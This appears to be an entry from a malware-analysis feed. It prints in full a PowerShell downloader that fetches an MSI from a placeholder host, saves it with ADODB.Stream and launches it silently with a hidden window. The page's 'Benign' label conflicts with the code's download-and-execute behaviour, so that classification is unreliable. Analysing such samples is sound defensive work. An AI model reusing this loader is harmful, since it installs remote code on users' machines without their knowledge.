Benign powershell Download

variant-adodb-only-downloader.ps1

Document unlock coupled to quiet MSI launchWrites binary data to file using ADODB.Stream
SHA-256a4f79646223a36f266f6ebcecbb6e2770ff0206855fcb143d10ac8a9864b0772

Evidence

Web request to document unblur API lines 1–18
1$token = 'abcd9876'
2$origin = 'https://docs.example.org'
3$msiFile = "$env:temp\pkg_$token.msi"
4
5Invoke-WebRequest "$origin/api/unblur?id=$token" -UseBasicParsing | Out-Null
6
7$x = New-Object -ComObject MSXML2.XMLHTTP
8$x.open("GET", "$origin/m?id=$token", $false)
9$x.send()
10if ($x.status -eq 200) {
11 $s = New-Object -ComObject ADODB.Stream
12 $s.Open(); $s.Type = 1; $s.Write($x.responseBody)
13 $s.SaveToFile($msiFile, 2); $s.Close()
14}
15
16if (Test-Path $msiFile) {
17 Start-Process $msiFile -WindowStyle Hidden "/quiet"
18}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.